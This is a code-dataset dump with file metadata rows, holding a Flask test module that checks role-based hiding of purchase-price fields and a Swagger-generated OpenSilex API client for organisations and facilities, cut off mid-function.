return {'audio': [{'array': audio,
'path': path,
'sampling_rate': self.sample_rate} for audio, path in zip(audio_input, audio_files)],
'file': audio_files,
'text': texts}
| 38.2 | 132 | 0.615653 | 973 | 7,449 | 4.435766 | 0.139774 | 0.090361 | 0.074606 | 0.027804 | 0.841057 | 0.831094 | 0.815338 | 0.810704 | 0.80051 | 0.80051 | 0 | 0.005636 | 0.261646 | 7,449 | 194 | 133 | 38.396907 | 0.779091 | 0.05343 | 0 | 0.742138 | 0 | 0 | 0.077879 | 0.018577 | 0 | 0 | 0 | 0 | 0 | 1 | 0.09434 | false | 0 | 0.044025 | 0.012579 | 0.232704 | 0.012579 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
30541b1b124ed31363527a0c642728f3a67ef211 | 8,628 | py | Python | tests/views/purchase_order/purchase_price_view_test.py | lusi1990/betterlifepsi | 8e7f8562967ab1816d8c25db3251c550a357f39c | [
"MIT"
] | 33 | 2018-10-19T03:41:56.000Z | 2022-01-23T16:26:02.000Z | tests/views/purchase_order/purchase_price_view_test.py | lusi1990/betterlifepsi | 8e7f8562967ab1816d8c25db3251c550a357f39c | [
"MIT"
] | 318 | 2018-09-23T15:16:54.000Z | 2022-03-31T22:58:55.000Z | tests/views/purchase_order/purchase_price_view_test.py | lusi1990/betterlifepsi | 8e7f8562967ab1816d8c25db3251c550a357f39c | [
"MIT"
] | 19 | 2018-10-22T18:04:18.000Z | 2021-12-06T19:49:05.000Z | from flask import url_for
from flask_admin.babel import gettext
from tests import fixture
from tests.base_test_case import BaseTestCase
from tests.object_faker import object_faker
class TestPurchasePriceView(BaseTestCase):
def test_purchase_order_hide_then_show_list_page(self):
from psi.app.service import Info
from psi.app.models.role import Role
from psi.app.utils import save_objects_commit
role = Info.get_db().session.query(Role).filter_by(
name='purchase_price_view').first()
user, password = object_faker.user(
['product_view', 'direct_purchase_order_view']
)
save_objects_commit(user, role)
fixture.login_user(self.test_client, user.email, password)
rv = self.test_client.get(url_for('dpo.index_view'),
follow_redirects=True)
self.assertEqual(rv.status_code, 200)
self.assertNotIn(b'<th class="column-header col-goods_amount">', rv.data,
b"goods amount should not exits in purchase order "
b"list page")
self.assertNotIn(b'<th class="column-header col-total_amount">', rv.data,
b"total amount should not exits in purchase order "
b"list page")
self.assertNotIn(b'<th class="column-header col-all_expenses">', rv.data,
b"all expenses should not exits in purchase order "
b"list page")
rv = self.test_client.get(url_for('product.index_view'), follow_redirects=True)
self.assertNotIn(b'<th class="column-header col-purchase_price">',
rv.data,
b"purchase price field should not exit in product "
b"list page")
user.roles.append(role)
save_objects_commit(user, role)
rv = self.test_client.get(url_for('dpo.index_view'),
follow_redirects=True)
self.assertEqual(rv.status_code, 200)
self.assertIn(b'<th class="column-header col-goods_amount">', rv.data,
b"goods amount should exist in purchase order list page")
self.assertIn(b'<th class="column-header col-total_amount">', rv.data,
b"total amount should exist in purchase order list page")
self.assertIn(b'<th class="column-header col-all_expenses">', rv.data,
b"all expenses should exist in purchase order list page")
rv = self.test_client.get(url_for('product.index_view'), follow_redirects=True)
self.assertIn(b'<th class="column-header col-purchase_price">', rv.data,
b"purchase price field should exits in product list page")
fixture.logout_user(self.test_client)
def test_purchase_price_show_then_hidden_list_page(self):
from psi.app.service import Info
from psi.app.models.role import Role
from psi.app.utils import save_objects_commit
role = Info.get_db().session.query(Role).filter_by(
name='purchase_price_view').first()
user, password = object_faker.user(['product_view', 'direct_purchase_order_view'])
user.roles.append(role)
save_objects_commit(user, role)
fixture.login_user(self.test_client, user.email, password)
rv = self.test_client.get(url_for('dpo.index_view'),
follow_redirects=True)
self.assertEqual(rv.status_code, 200)
self.assertIn(b'<th class="column-header col-goods_amount">', rv.data,
b"goods amount not exits in purchase order list page")
self.assertIn(b'<th class="column-header col-total_amount">', rv.data,
b"total amount not exits in purchase order list page")
self.assertIn(b'<th class="column-header col-all_expenses">', rv.data,
b"all expenses not exits in purchase order list page")
rv = self.test_client.get(url_for('product.index_view'), follow_redirects=True)
self.assertIn(b'<th class="column-header col-purchase_price">', rv.data,
b"purchase price field should exits in product list page")
user.roles.remove(role)
save_objects_commit(user, role)
rv = self.test_client.get(url_for('dpo.index_view'),
follow_redirects=True)
self.assertEqual(rv.status_code, 200)
self.assertNotIn(b'<th class="column-header col-goods_amount">', rv.data,
b"goods amount should not exits in purchase order "
b"list page")
self.assertNotIn(b'<th class="column-header col-total_amount">', rv.data,
b"total amount should not exits in purchase order "
b"list page")
self.assertNotIn(b'<th class="column-header col-all_expenses">', rv.data,
b"all expenses should not exits in purchase order "
b"list page")
rv = self.test_client.get(url_for('product.index_view'), follow_redirects=True)
self.assertNotIn(b'<th class="column-header col-purchase_price">',
rv.data,
b"purchase price field should not exit in product "
b"list page")
fixture.logout_user(self.test_client)
def logic_for_detail_edit_page(self, user, password, po, po_url, product_url):
from psi.app.service import Info
from psi.app.models.role import Role
from psi.app.utils import save_objects_commit
fixture.login_as_admin(self.test_client)
save_objects_commit(po, user)
fixture.logout_user(self.test_client)
fixture.login_user(self.test_client, user.email, password)
rv = self.test_client.get(po_url, follow_redirects=True)
self.assertEqual(rv.status_code, 200)
goods_amount_label = gettext('Goods Amount')
self.assertIn(goods_amount_label.encode('utf-8'), rv.data)
total_amount_label = gettext('Total Amount')
self.assertIn(total_amount_label.encode('utf-8'), rv.data)
rv = self.test_client.get(product_url, follow_redirects=True)
self.assertEqual(rv.status_code, 200)
purchase_price_label = gettext('Purchase Price')
self.assertIn(purchase_price_label.encode('utf-8'), rv.data)
fixture.logout_user(self.test_client)
role = Info.get_db().session.query(Role).filter_by(
name='purchase_price_view'
).first()
user.roles.remove(role)
save_objects_commit(user)
fixture.login_user(self.test_client, user.email, password)
rv = self.test_client.get(po_url, follow_redirects=True)
self.assertEqual(rv.status_code, 200)
goods_amount_label = gettext('Goods Amount')
self.assertNotIn(goods_amount_label.encode('utf-8'), rv.data)
total_amount_label = gettext('Total Amount')
self.assertNotIn(total_amount_label.encode('utf-8'), rv.data)
rv = self.test_client.get(product_url, follow_redirects=True)
self.assertEqual(rv.status_code, 200)
purchase_price_label = gettext('Purchase Price')
self.assertNotIn(purchase_price_label.encode('utf-8'), rv.data)
fixture.logout_user(self.test_client)
def test_purchase_price_show_and_hidden_detail_page(self):
from tests.fixture import run_as_admin
user, password = object_faker.user(role_names=[
'purchase_price_view', 'direct_purchase_order_view', 'product_view'
])
po = object_faker.purchase_order(number_of_line=1, creator=user)
po_url = url_for('dpo.details_view', id=po.id)
product_url = url_for('product.details_view', id=po.lines[0].product.id)
run_as_admin(self.test_client, self.logic_for_detail_edit_page, user, password, po, po_url, product_url)
def test_purchase_price_show_and_hidden_edit_page(self):
user, password = object_faker.user(role_names=[
'purchase_price_view', 'direct_purchase_order_view',
'product_view', 'product_edit', 'direct_purchase_order_edit',
])
po = object_faker.purchase_order(number_of_line=1, creator=user)
po_url = url_for('dpo.edit_view', id=po.id)
product_url = url_for('product.edit_view', id=po.lines[0].product.id)
from tests.fixture import run_as_admin
run_as_admin(self.test_client, self.logic_for_detail_edit_page, user, password, po, po_url, product_url)
| 52.609756 | 112 | 0.645341 | 1,145 | 8,628 | 4.640175 | 0.09607 | 0.036138 | 0.063241 | 0.042161 | 0.92603 | 0.914926 | 0.909091 | 0.872577 | 0.862978 | 0.837756 | 0 | 0.005278 | 0.253361 | 8,628 | 163 | 113 | 52.932515 | 0.819466 | 0 | 0 | 0.732877 | 0 | 0 | 0.249652 | 0.015067 | 0 | 0 | 0 | 0 | 0.205479 | 1 | 0.034247 | false | 0.075342 | 0.109589 | 0 | 0.150685 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
3063a1f9f50855a908df3e39e097a8375168449e | 51,689 | py | Python | opensilexClientToolsPython/api/organisations_api.py | OpenSILEX/opensilexClientToolsPython | 41b1e7e707670ecf1b2c06d79bdd9749945788cb | [
"RSA-MD"
] | null | null | null | opensilexClientToolsPython/api/organisations_api.py | OpenSILEX/opensilexClientToolsPython | 41b1e7e707670ecf1b2c06d79bdd9749945788cb | [
"RSA-MD"
] | 7 | 2021-05-25T14:06:04.000Z | 2021-11-05T15:42:14.000Z | opensilexClientToolsPython/api/organisations_api.py | OpenSILEX/opensilexClientToolsPython | 41b1e7e707670ecf1b2c06d79bdd9749945788cb | [
"RSA-MD"
] | null | null | null | # coding: utf-8
"""
OpenSilex API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: INSTANCE-SNAPSHOT
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from opensilexClientToolsPython.api_client import ApiClient
class OrganisationsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_infrastructure(self, **kwargs): # noqa: E501
"""Create an organisation # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_infrastructure(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param InfrastructureCreationDTO body: Organisation description
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_infrastructure_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.create_infrastructure_with_http_info(**kwargs) # noqa: E501
return data
def create_infrastructure_with_http_info(self, **kwargs): # noqa: E501
"""Create an organisation # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_infrastructure_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param InfrastructureCreationDTO body: Organisation description
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body', ] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_infrastructure" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/organisations', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ObjectUriResponse', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def create_infrastructure_facility(self, **kwargs): # noqa: E501
"""Create a facility # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_infrastructure_facility(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param InfrastructureFacilityCreationDTO body: Facility description
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_infrastructure_facility_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.create_infrastructure_facility_with_http_info(**kwargs) # noqa: E501
return data
def create_infrastructure_facility_with_http_info(self, **kwargs): # noqa: E501
"""Create a facility # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_infrastructure_facility_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param InfrastructureFacilityCreationDTO body: Facility description
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body', ] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_infrastructure_facility" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/facilities', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ObjectUriResponse', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_infrastructure(self, uri, **kwargs): # noqa: E501
"""Delete an organisation # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_infrastructure(uri, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str uri: Organisation URI (required)
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_infrastructure_with_http_info(uri, **kwargs) # noqa: E501
else:
(data) = self.delete_infrastructure_with_http_info(uri, **kwargs) # noqa: E501
return data
def delete_infrastructure_with_http_info(self, uri, **kwargs): # noqa: E501
"""Delete an organisation # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_infrastructure_with_http_info(uri, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str uri: Organisation URI (required)
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['uri', ] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_infrastructure" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'uri' is set
if ('uri' not in params or
params['uri'] is None):
raise ValueError("Missing the required parameter `uri` when calling `delete_infrastructure`") # noqa: E501
collection_formats = {}
path_params = {}
if 'uri' in params:
path_params['uri'] = params['uri'] # noqa: E501
query_params = []
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/organisations/{uri}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ObjectUriResponse', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_infrastructure_facility(self, uri, **kwargs): # noqa: E501
"""Delete a facility # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_infrastructure_facility(uri, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str uri: Facility URI (required)
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_infrastructure_facility_with_http_info(uri, **kwargs) # noqa: E501
else:
(data) = self.delete_infrastructure_facility_with_http_info(uri, **kwargs) # noqa: E501
return data
def delete_infrastructure_facility_with_http_info(self, uri, **kwargs): # noqa: E501
"""Delete a facility # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_infrastructure_facility_with_http_info(uri, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str uri: Facility URI (required)
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: ObjectUriResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['uri', ] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_infrastructure_facility" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'uri' is set
if ('uri' not in params or
params['uri'] is None):
raise ValueError("Missing the required parameter `uri` when calling `delete_infrastructure_facility`") # noqa: E501
collection_formats = {}
path_params = {}
if 'uri' in params:
path_params['uri'] = params['uri'] # noqa: E501
query_params = []
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/facilities/{uri}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='ObjectUriResponse', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_all_facilities(self, **kwargs): # noqa: E501
"""Get all facilities # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_all_facilities(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: list[NamedResourceDTO]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_all_facilities_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_all_facilities_with_http_info(**kwargs) # noqa: E501
return data
def get_all_facilities_with_http_info(self, **kwargs): # noqa: E501
"""Get all facilities # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_all_facilities_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: list[NamedResourceDTO]
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_all_facilities" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/facilities/all_facilities', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[NamedResourceDTO]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_facilities_by_uri(self, uris, **kwargs): # noqa: E501
"""Get facilities by their URIs # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_facilities_by_uri(uris, async_req=True)
>>> result = thread.get()
:param async_req bool
:param list[str] uris: Facilities URIs (required)
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: list[InfrastructureFacilityNamedDTO]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_facilities_by_uri_with_http_info(uris, **kwargs) # noqa: E501
else:
(data) = self.get_facilities_by_uri_with_http_info(uris, **kwargs) # noqa: E501
return data
def get_facilities_by_uri_with_http_info(self, uris, **kwargs): # noqa: E501
"""Get facilities by their URIs # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_facilities_by_uri_with_http_info(uris, async_req=True)
>>> result = thread.get()
:param async_req bool
:param list[str] uris: Facilities URIs (required)
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: list[InfrastructureFacilityNamedDTO]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['uris', ] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_facilities_by_uri" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'uris' is set
if ('uris' not in params or
params['uris'] is None):
raise ValueError("Missing the required parameter `uris` when calling `get_facilities_by_uri`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
if 'uris' in params:
query_params.append(('uris', params['uris'])) # noqa: E501
collection_formats['uris'] = 'multi' # noqa: E501
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/facilities/by_uris', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[InfrastructureFacilityNamedDTO]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_infrastructure(self, uri, **kwargs): # noqa: E501
"""Get an organisation # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_infrastructure(uri, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str uri: Organisation URI (required)
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: InfrastructureGetDTO
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_infrastructure_with_http_info(uri, **kwargs) # noqa: E501
else:
(data) = self.get_infrastructure_with_http_info(uri, **kwargs) # noqa: E501
return data
def get_infrastructure_with_http_info(self, uri, **kwargs): # noqa: E501
"""Get an organisation # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_infrastructure_with_http_info(uri, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str uri: Organisation URI (required)
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: InfrastructureGetDTO
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['uri', ] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_infrastructure" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'uri' is set
if ('uri' not in params or
params['uri'] is None):
raise ValueError("Missing the required parameter `uri` when calling `get_infrastructure`") # noqa: E501
collection_formats = {}
path_params = {}
if 'uri' in params:
path_params['uri'] = params['uri'] # noqa: E501
query_params = []
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/organisations/{uri}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='InfrastructureGetDTO', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_infrastructure_facility(self, uri, **kwargs): # noqa: E501
"""Get a facility # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_infrastructure_facility(uri, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str uri: facility URI (required)
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: InfrastructureFacilityGetDTO
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_infrastructure_facility_with_http_info(uri, **kwargs) # noqa: E501
else:
(data) = self.get_infrastructure_facility_with_http_info(uri, **kwargs) # noqa: E501
return data
def get_infrastructure_facility_with_http_info(self, uri, **kwargs): # noqa: E501
"""Get a facility # noqa: E501
# noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_infrastructure_facility_with_http_info(uri, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str uri: facility URI (required)
:param str authorization: Authentication token (required)
:param str accept_language: Request accepted language
:return: InfrastructureFacilityGetDTO
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['uri', ] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_infrastructure_facility" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'uri' is set
if ('uri' not in params or
params['uri'] is None):
raise ValueError("Missing the required parameter `uri` when calling `get_infrastructure_facility`") # noqa: E501
collection_formats = {}
path_params = {}
if 'uri' in params:
path_params['uri'] = params['uri'] # noqa: E501
query_params = []
header_params = {}
#if 'authorization' in params:
# header_params['Authorization'] = params['authorization'] # noqa: E501
#if 'accept_language' in params:
# header_params['Accept-Language'] = params['accept_language'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = [] # noqa: E501
return self.api_client.call_api(
'/core/facilities/{uri}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='InfrastructureFacilityGetDTO', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
